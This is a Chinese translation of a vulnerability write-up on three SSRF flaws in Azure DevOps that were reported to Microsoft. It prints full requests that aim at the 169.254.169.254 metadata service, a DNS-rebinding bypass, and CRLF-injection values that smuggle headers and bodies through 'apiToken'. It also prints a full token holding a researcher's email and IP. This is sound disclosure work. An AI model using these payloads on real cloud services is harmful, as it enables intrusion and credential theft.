Binary Security(以下简称他们) 向微软报告了Azure DevOps中发现的三处SSRF漏洞。本文概述了他们寻找这些漏洞的方式,并演示了使用DNS重新绑定和CRLF注入的利用技术。
背景
在参与测试期间,他们主要测试了Azure和DevOps环境中的漏洞和权限提升,他们想看看Azure是否有任意特权服务主体的服务连接可供项目中的所有管道使用。
这是一个常见漏洞,可能会产生严重后果,特别是在大型Azure DevOps项目中,拥有开发人员访问权限的攻击者可以滥用服务连接在Azure和其它连接系统中进行特权升级。
在二进制安全中,他们尝试自动化任何可以自动化的安全检查,他们打算在内部命令行界面中编写一个模块。
为了编写此模块,他们尝试查找所有将返回DevOps项目中的服务连接的Azure DevOps API端点。
但是,Azure DevOps的API文档毫无用处,因此只能通过Burp Suite代理了该应用程序(DevOps),并手动访问服务连接页面。很快便找到了一个有用的API端点,但是在创建服务连接时,但在创建服务连接时却被另一个更有趣的端点绕了过去:
发送的请求看起来像下面这样:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
Content-Length: 872
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "cb8bff8b-e82a-4629-aa12-9ad2ef2790be"
},
"scheme": "serviceprincipal"
},
"data": {
"appObjectId": "",
"azureSpnPermissions": "",
"azureSpnRoleAssignmentId": "",
"creationMode": "Automatic",
"environment": "AzureCloud",
"scopeLevel": "Subscription",
"spnObjectId": "",
"subscriptionId": "292c3ce5-4288-4413-8dad-5c665019739d",
"subscriptionName": "Azure subscription 1"
},
"type": "azurerm",
"url": "https://management.azure.com/"
},
"dataSourceDetails": {
"dataSourceName": "AzureResourceGroups",
"dataSourceUrl": "",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
"resultTransformationDetails": {
"resultTemplate": "",
"callbackContextTemplate": "",
"callbackRequiredTemplate": ""
}
}
EndpointProxy SSRF
注意这个名为endpointpro的端点,它带有url参数,可以尝试插入Burp Partnerator的Payloads,以查看是否存在SSRF,还有下面这个:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <COOKIES>
Content-Length: 911
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "cb8bff8b-e82a-4629-aa12-9ad2ef2790be"
},
"scheme": "serviceprincipal"
},
<...>
"type": "azurerm",
"url": "https://wcc0k51dmh8d8lgj3d0fzsrmrdxbl29r.bcollaborator.binsec.cloud/"
},
<...>
}
HTTP/2 200 OK
Cache-Control: no-cache
<...>
Date: Fri, 24 Nov 2023 19:01:32 GMT
{
"result": [],
"statusCode": 400,
"errorMessage": "Unable to parse response as JSON object. Error: Unexpected character encountered while parsing value: <. Path '', line 0, position 0."
}
成功收到 Collaborator 服务器响应:
该请求包含一个JWT Token,这很有趣。但是,在解码Token时,可以看到它是一个个人的Azure Token,范围属于个人用户帐户的Azure Resource Manager(ARM),这影响似乎不大。
Azure Token很奇怪,以前可以发放属于任意租户的tid
声明的Token,如另一篇博客文章中所述(向下滚动至“无访客访问访问者”)。 Microsoft现在已经修复了这一点,但是他们在endpointproxy
请求中尝试了相同的技巧,只需要将tenantid
参数更改为其它租户:
Collaborator 服务器收到了以下请求:
POST /providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01 HTTP/1.1
Accept: application/json
Request-Context: appId=cid-v1:0cc0e688-cf14-42b5-9911-f427a40700f1
Request-Id: |1983475f4bc4ff8e8bd40ebcbac3b27d.fc8b5558c1d1b5a5.
traceparent: 00-1983475f4bc4ff8e8bd40ebcbac3b27d-fc8b5558c1d1b5a5-00
User-Agent: vsts-serviceendpointproxy-service/v.19.247.35513.6 (EndpointId/0)
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InoxcnNZSEhKOS04bWdndDRIc1p1OEJLa0JQdyIsImtpZCI6InoxcnNZSEhKOS04bWdndDRIc1p1OEJLa0JQdyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC83MmY5ODhiZi04NmYxLTQxYWYtOTFhYi0yZDdjZDAxMWRiNDcvIiwiaWF0IjoxNzM2MjM0ODMzLCJuYmYiOjE3MzYyMzQ4MzMsImV4cCI6MTczNjIzOTQ1MywiYWNyIjoiMSIsImFpbyI6IkFXUUFtLzhaQUFBQXUyUkJaQXlQNnI4TlhTUmRwNzZiSXFhM0NuUklwSEJiTnVkNEhiZ055ZjBoeG14Y00yc0NTUzNBbFEvZU5aeC9FYTdZZmVSSDlmOUpsczBBOTdRNHdENHdQbU12NmZmQWlraUhoS0FrVlcxU0lpRXhQbWEyMkdlZ05UdHVIVFFmIiwiYWx0c2VjaWQiOiI1OjoxMDAzMjAwMTg3RDNGRDE3IiwiYW1yIjpbInB3ZCIsIm1mYSJdLCJhcHBpZCI6IjQ5OWI4NGFjLTEzMjEtNDI3Zi1hYTE3LTI2N2NhNjk3NTc5OCIsImFwcGlkYWNyIjoiMiIsImF1dGhfdGltZSI6MTczNjIzNDgyMywiZW1haWwiOiJ0b3JqdXNAYmluYXJ5c2VjdXJpdHkubm8iLCJmYW1pbHlfbmFtZSI6IlJldHRlcnN0w7hsIiwiZ2l2ZW5fbmFtZSI6IlRvcmp1cyBCcnluZSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2NiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZS8iLCJpZHR5cCI6InVzZXIiLCJpcGFkZHIiOiIxOTUuMC4xNDMuMTk4IiwibmFtZSI6IlRvcmp1cyIsInJoIjoiMS5BUm9BdjRqNWN2R0dyMEdScXkxODBCSGJSMFpJZjNrQXV0ZFB1a1Bhd2ZqMk1CTWFBSllhQUEuIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic2lkIjoiMmVkYjBkOGQtYmE0OC00YjQ3LWE5N2ItMzk5NWJmMzA5OTllIiwic3ViIjoiQXVTWDJNVGN2dE9hYXFobE4yd0o4QjQxclJfcGRrajNZbEtPVHYzZU9xRSIsInRpZCI6IjcyZjk4OGJmLTg2ZjEtNDFhZi05MWFiLTJkN2NkMDExZGI0NyIsInVuaXF1ZV9uYW1lIjoidG9yanVzQGJpbmFyeXNlY3VyaXR5Lm5vIiwidXRpIjoiZWdxNGl1V3BpRU9HVHNmcWtaOGFBUSIsInZlciI6IjEuMCIsInhtc19lZG92Ijp0cnVlLCJ4bXNfaWRyZWwiOiIyMiAxNSIsInhtc190Y2R0IjoxMjg5MjQxNTQ3fQ.cH9SHBrZq_XvcEV4pGriWz9LAYbSv_FKpJo0EDhef6ksaK5h43kmj__Uedmi4gdrcVCBnRar0IYX-dUQ2Cysj9IYvoqXA9R_BBe4xJumhcjLxxHK1uV5l3MYGVAmN3u_st-mZWAEs3mRxLaGAJX1UIItXW2mNyEBsBvHqNtReJq3azngbQ74KovG3b-iT0_oGnuhJ8Y5B1qNswoRNzT6tPPOyC_RDd932qUGgzpM-3AYwQsia3WdR-PZss2T52SXJl02CqNQxY0xxKl0g0e9_Tvd4rfkKVHrcCvTgTw24mO8X9D7xSadDw9HGnc_cnBE6Jmf5S0WPUQAzLHkqPoZHA
Content-Type: application/json; charset=utf-8
Host: dl2htmauvyhuh2p0cu9w89030u6summab.bcollaborator.binsec.cloud
Content-Length: 168
Expect: 100-continue
Connection: Keep-Alive
{"query":"resourcecontainers|where subscriptionId=='292c3ce5-4288-4413-8dad-5c665019739d'|where type=='microsoft.resources/subscriptions/resourcegroups'|distinct name"}
在请求中解码JWT时,可以会获取到以下信息:
{
"aud": "https://management.core.windows.net/",
"iss": "https://sts.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/",
"iat": 1736234833,
"nbf": 1736234833,
"exp": 1736239453,
"acr": "1",
"aio": "AWQAm/8ZAAAAu2RBZAyP6r8NXSRdp76bIqa3CnRIpHBbNud4HbgNyf0hxmxcM2sCSS3AlQ/eNZx/Ea7YfeRH9f9Jls0A97Q4wD4wPmMv6ffAikiHhKAkVW1SIiExPma22GegNTtuHTQf",
"altsecid": "5::1003200187D3FD17",
"amr": [
"pwd",
"mfa"
],
"appid": "499b84ac-1321-427f-aa17-267ca6975798",
"appidacr": "2",
"auth_time": 1736234823,
"email": "torjus@binarysecurity.no",
"family_name": "Retterstøl",
"given_name": "Torjus Bryne",
"idp": "https://sts.windows.net/cb8bff8b-e82a-4629-aa12-9ad2ef2790be/",
"idtyp": "user",
"ipaddr": "195.0.143.198",
"name": "Torjus",
"rh": "1.ARoAv4j5cvGGr0GRqy180BHbR0ZIf3kAutdPukPawfj2MBMaAJYaAA.",
"scp": "user_impersonation",
"sid": "2edb0d8d-ba48-4b47-a97b-3995bf30999e",
"sub": "AuSX2MTcvtOaaqhlN2wJ8B41rR_pdkj3YlKOTv3eOqE",
"tid": "72f988bf-86f1-41af-91ab-2d7cd011db47",
"unique_name": "torjus@binarysecurity.no",
"uti": "egq4iuWpiEOGTsfqkZ8aAQ",
"ver": "1.0",
"xms_edov": true,
"xms_idrel": "22 15",
"xms_tcdt": 1289241547
}
令牌中的iss
和tid
属于Microsoft的租户( 72f988bf-86f1-41af-91ab-2d7cd011db47
)。受众是 https://management.core.windows.net/
appid
属于Azure Devops( 499b84ac-1321-427f-aa17-267ca6975798
),这表明可以生成任意 Azure 租户的 ARM 令牌 (实际上,不可能用任意tid
制作Token。由于某些原因,某些租户ID被阻止了,似乎是那些没有本地AD同步的租户ID)。
但是,Token不包含oid
, groups
或wids
,这应该确保它在ARM中没有任何权限。通过向租户端点发送请求,API返回了两个租户ID( cb8bff8b-e82a-4629-aa12-9ad2ef2790be
)和微软的租户ID( 72f988bf-86f1-41af-91ab-2d7cd011db47
):
没有发现该Token被授权与任何敏感的 ARM API 通信,但如果有公司的内部应用程序仅验证ARM令牌中的iss或tid,就会授予公司内部的任意访问权限,那么该Gadget就可以绕过身份验证。
该Token依然无法证明有任何影响,因此他们尝试升级SSRF与内部服务进行通信。当然,Azure的SSRF可以通过将url
参数更改为http://169.254.169.254
,然后尝试访问元数据端点。但该请求被阻止,应用程序表示不允许将请求发送到“特殊用途范围”中的地址。
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "corp.microsoft.com"
},
"scheme": "serviceprincipal"
},
<...>
"type": "azurerm",
"url": "http://169.254.169.254/"
},
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "The URL resolves to address \"https://169.254.169.254/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01\", which is in a special purpose range that is not allowed in a Service Endpoint.",
"typeName": "Microsoft.TeamFoundation.DistributedTask.WebApi.ServiceEndpointException, Microsoft.TeamFoundation.DistributedTask.WebApi",
"typeKey": "ServiceEndpointException",
"errorCode": 0,
"eventId": 3000
}
尝试将URL设置为127.0.0.1
会导致另一个错误消息,表明该地址同样已被列入黑名单:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
<...>
"type": "azurerm",
"url": "https://127.0.0.1/"
},
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "The URL resolves to a loopback or localhost address. This address is not allowed for use in a Service Endpoint.",
"typeName": "Microsoft.TeamFoundation.DistributedTask.WebApi.ServiceEndpointException, Microsoft.TeamFoundation.DistributedTask.WebApi",
"typeKey": "ServiceEndpointException",
"errorCode": 0,
"eventId": 3000
}
当请求时,发现还可以设置另一个URL参数,即dataSourceUrl
参数,尝试设置参数时,应用程序会返回一些有用的错误消息:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
<...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "wcc0k51dmh8d8lgj3d0fzsrmrdxbl29r.bcollaborator.binsec.cloud",
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "Only URLs starting with {{endpoint.url}} or {{configuration.Url}} can be called.",
"typeName": "Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi.InvalidDataSourceBindingException, Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi",
"typeKey": "InvalidDataSourceBindingException",
"errorCode": 0,
"eventId": 3000
}
Only URLs starting with {{endpoint.url}} or {{configuration.Url}} can be called.
似乎在使用某种模板,于是尝试将dataSourceUrl
设置为{{configuration.url}},重新发送请求,令人惊讶的是,请求成功了:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
<...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/?"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "{{configuration.Url}}",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
<...>
}
HTTP/2 200 OK
<...>
{
"result":[],
"statusCode":400,
"errorMessage":"Failed to query service connection API: 'http://169.254.169.254/?/@ii4mqr7zs3eze7m59z615ex8xz3xrrfg.bcollaborator.binsec.cloud'. Status Code: 'BadRequest', Response from server: '<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Error xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n <Code>InvalidUri</Code>\n <Message>The requested URI does not represent any resource on the server.</Message>\n <Details></Details>\n</Error>'"
返回的错误消息显示已经到达了元数据端点,但还缺少Metadata: True
标头,他们花了一些时间尝试找到设置此标头的方法,但都未能成功。
为了展示漏洞影响并证明可以与元数据服务进行通信,他们尝试找到一个不需要标头的端点,通过谷歌搜索,他们发现了CyberCX 的博文,其中显示了一个不受标头保护的端点:
http://169.254.169.254/metadata/v1/instanceinfo
This endpoint uses IMDS to retrieve the system’s instance ID.
此端点使用IMD来检索系统实例ID。
While most IMDS APIs require the “Metadata” HTTP Header, this endpoint does not. This means it is far more likely to be vulnerable to SSRF.
虽然大多数IMDS API都需要“元数据” HTTP标头,但此端点却不需要。这意味着它更容易受到SSRF的影响。
通过尝试成功收到了另一个错误信息,这表明元数据服务使用了未被反序列化的JSON对象响应:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/metadata/v1/instanceinfo#"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "{{configuration.Url}}@ii4mqr7zs3eze7m59z615ex8xz3xrrfg.bcollaborator.binsec.cloud",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
<...>
}
HTTP/2 400 Bad Request
<...>
{
"$id": "1",
"innerException": null,
"message": "TF400898: An Internal Error Occurred. Activity Id: 22322475-0383-4b08-bcae-f4552bd27d10.",
"typeName": "Newtonsoft.Json.JsonReaderException, Newtonsoft.Json",
"typeKey": "JsonReaderException",
"errorCode": 0,
"eventId": 0
}
到目前为止,漏洞影响依然非常有限。但是, endpointproxy
请求功能强大,并且包含resultTransformationDetails
参数,这在尝试转换结果时听起来很有用。
经过一段时间的试图,幸运的是, GitHub问题中包含了一个非常有用的示例,显示了使用resultTransformationDetails
参数的请求:
"dataSourceBindings": [
{
<...>
"resultTemplate": "{ \"Value\" : \"{{defaultResultKey}}\", \"DisplayValue\" : \"{{defaultResultKey}}\" }"
},
],
同样,使用了某种模板,但是该示例显示了如何使用resultTemplate
。
在CyberCX的博客中,可以知道元数据服务的响应是一个类似于JSON的对象 {"ID":"_vm-ubuntu","UD":"0","FD":"0"}
。
因此,尝试将resultTemplate
参数设置为 {\"ID\" : \"{{ID}}\",\"UD\" : \"{{UD}}\",\"FD\" : \"{{FD}}\"}
:
团队很快便向微软报告了该漏洞,并提供了其它一些详细信息,充分表明能够扫描服务器。微软最终以5000美元的价格发放了漏洞赏金,并尝试修复该漏洞。
通过DNS重绑绕过修复
在向微软报告漏洞的两个月后,微软说漏洞已被修复。但在不久之前,团队有同事使用DNS重绑技术又发现了几处SSRF漏洞,因此他们想看看是否可以使用该技术来绕过修复程序。
DNS重新绑定的工作原理是注册一个域名,该域名可以随机解析为具有非常低的TLR的不同IP地址。
塔维斯·奥曼迪(Tavis Ormandy)已发布此工具以轻松执行攻击(https://github.com/taviso/rbndr)。
尝试解析域名a9fea9fe.01000001.rbndr.us
会发现它将随机解析为两个不同的IP地址:169.254.169.254
和1.0.0.1
:
$ nslookup a9fea9fe.01000001.rbndr.us 1.1.1.1
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: a9fea9fe.01000001.rbndr.us
Address: 169.254.169.254
$ nslookup a9fea9fe.01000001.rbndr.us 1.1.1.1
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: a9fea9fe.01000001.rbndr.us
Address: 1.0.0.1
在endpointproxy
的情况下,假设漏洞尝试修复了127.0.0.1
的检查,并验证了已解决的IP地址不在预定义的黑名单中,例如包含169.254.169.254
、127.0.0.1
和其他内部IP范围,这是SSRF漏洞的常见修复,使用以下伪代码表示就是:
verifyUrl(url);
sendRequest(url);
这将容易受到time-of-check to time-of-use
竞争条件影响 ,在该条件下,可以滥用DNS重绑技术,以确保verifyUrl
中的URL中的域名解决了允许的IP地址,例如 1.0.0.1
,而 sendRequest
中 URL 中的域名解析到目标的不允许的 IP 地址169.254.169.254
。
事实证明该假设成立的,第一个测试奏效了,能够通过使用DNS重绑来绕过修复程序并与元数据API进行通信:
通过向微软报告这一发现,再次获得5000美元的漏洞赏金。
SSRF Hook与CRLF注入
由于在DevOps中很快发现了endpointproxy
SSRF,因此有理由怀疑应用程序中可能存在更多的SSRF。
通过Burp Suite 发现了一些有趣功能的Service Hooks
:
尝试配置hook,请求被发送到hooks/inputValuesQuery
端点。创建Grafana-hook
时,此请求同时包含url
参数和apiToken
参数:
POST /binary-security/_apis/hooks/inputValuesQuery HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 550
Authorization: Bearer <...>
{
"subscription": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "<URL>",
"apiToken": "<TOKEN>",
},
都可以将url
设置为外部端点(如Burp Collaborator服务器)和内部端点(如169.254.169.254
)。
该应用程序似乎没有对url
参数执行任何验证来防止SSRF,此外, apiToken
参数的内容直接在Authorization: Bearer
标头,因此可以将url
设置为 9dndli2qnu9q9yhw4q1s05szsqymmja8.bcollaborator.binsec.cloud
以及用于test
的apiToken
:
团队成员克里斯蒂安(Christian)近期发现,通常用来将标头添加到出站请求中的C#方法httpheaders 。另一位同事索非亚(Sofia )还对此主题进行了一些研究,结果在流行的C#框架中发现了(https://github.com/reactiveui/refit/security/advisories/GHSA-3hxg-fxwm-8gf7)和[RestSharp的](https://github.com/advisories/GHSA-4rr6-2v9v-wcpc)两处CVE。
知道了TryAddWithoutValidation
是一种用于在C#中添加HTTP标头的常见方法,尝试在apiToken
参数中注入CRLF字符( \r\n
),从而注入新标头并操纵请求。
例如,通过在apiToken
参数中发送以下请求:
POST /binary-security/_apis/hooks/inputValuesQuery HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 553
Cookie: <COOKIES>
{
"subscription": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "http://dtah1miu3ypup2x0kuhwg9838ues2ly9n.bcollaborator.binsec.cloud#",
"apiToken": "test\r\nMetadata: True\r\nX-Custom-Binsec-Header: Binary Security\r\nConnection: Close\r\n\r\n"
},
"eventType": "ms.vss-release.deployment-completed-event",
"publisherId": "audit",
"publisherInputs": {
"releaseDefinitionId": "asdf",
"releaseEnvironmentId": "asdf",
"releaseEnvironmentStatus": "asdf",
"projectId": "asdf"
},
"scope": 3
},
"scope": 4,
"inputValues": [
{
"inputId": "dashboardId",
}
]
}
在查看Service Hooks
功能时,还发现了testNotifications
端点中存在相同的漏洞:
POST /binary-security/_apis/hooks/testNotifications HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 605
Cookie: <COOKIES>
{
"details": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "https://gfzknp4xp1bxb5j36x3z2cu6ux0vooic7.bcollaborator.binsec.cloud",
"apiToken": "test\r\nHost:gfzknp4xp1bxb5j36x3z2cu6ux0vooic7.bcollaborator.binsec.cloud\r\nContent-Type: application/json\r\nContent-Length: 19\r\n\r\n{\"binsec\":\"BINSEC\"}\r\n\r\n\r\n",
"tags": "test"
},
"eventType": "ms.vss-release.deployment-completed-event",
"publisherId": "rm",
"publisherInputs": {
"releaseDefinitionId": "",
"releaseEnvironmentId": "",
"releaseEnvironmentStatus": "",
"projectId": "399814d8-d297-4bc1-9bc4-dad676bb7332"
},
"event": {}
}
}
CRLF注入漏洞可用于拆分请求,从而添加任意标头和HTTP主体。
通过将apiToken
参数设置为test\r\nMetadata: True
来注入与大多数元数据API进行通信所需的Metadata: True
标头。但是,当试图检索托管身份Token时,返回了错误消息:
返回的内容不符合预期格式,应用程序需要返回的格式为列表。
为了证明可以与元数据API通信,可以将url
设置为 http://169.254.169.254/metadata/instance/compute/tagsList?api-version=2019-06-04
,因为该端点会返回列表。
虽然包含列表,但没有详细信息,不过确实证明了可以与元数据API进行通信:
再次报告漏洞,再一次获得5000美元的漏洞赏金。
你学到了么?
以上内容由骨哥翻译并整理。
原文:https://binarysecurity.no/posts/2025/01/finding-ssrfs-in-devops